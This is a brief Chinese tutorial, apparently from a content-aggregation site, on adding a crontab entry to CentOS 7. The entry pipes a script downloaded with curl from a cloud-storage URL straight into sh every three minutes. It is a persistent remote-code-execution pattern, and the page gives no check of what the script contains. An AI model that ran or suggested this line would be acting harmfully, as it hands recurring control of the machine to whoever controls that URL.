在 CentOS 7 上使用 crontab 定时执行 shell 脚本 (每 3 分钟一次)

本文将介绍如何在 CentOS 7 上使用 crontab 定时执行 shell 脚本,以每 3 分钟的频率运行 curl -sSL https://ocean.gz4oss.xstore.ctyun.cn/src/check-scan.sh | sh 命令。

步骤

  1. 打开 crontab 编辑器:
crontab -e
  1. 在打开的编辑器中添加以下内容:
*/3 * * * * curl -sSL 'https://ocean.gz4oss.xstore.ctyun.cn/src/check-scan.sh' | sh
  1. 保存并退出编辑器。 现在每 3 分钟执行一次该命令。

注意:

  • curl -sSL 'https://ocean.gz4oss.xstore.ctyun.cn/src/check-scan.sh' 命令会从指定的 URL 下载并执行 check-scan.sh 脚本。
  • */3 * * * * 表示每 3 分钟执行一次命令。
  • | sh 表示将 curl 命令的输出作为输入传递给 sh 命令执行。
CentOS 7: 使用 crontab 定时执行 shell 脚本 (每 3 分钟一次)

原文地址: https://www.cveoy.top/t/topic/nadU 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录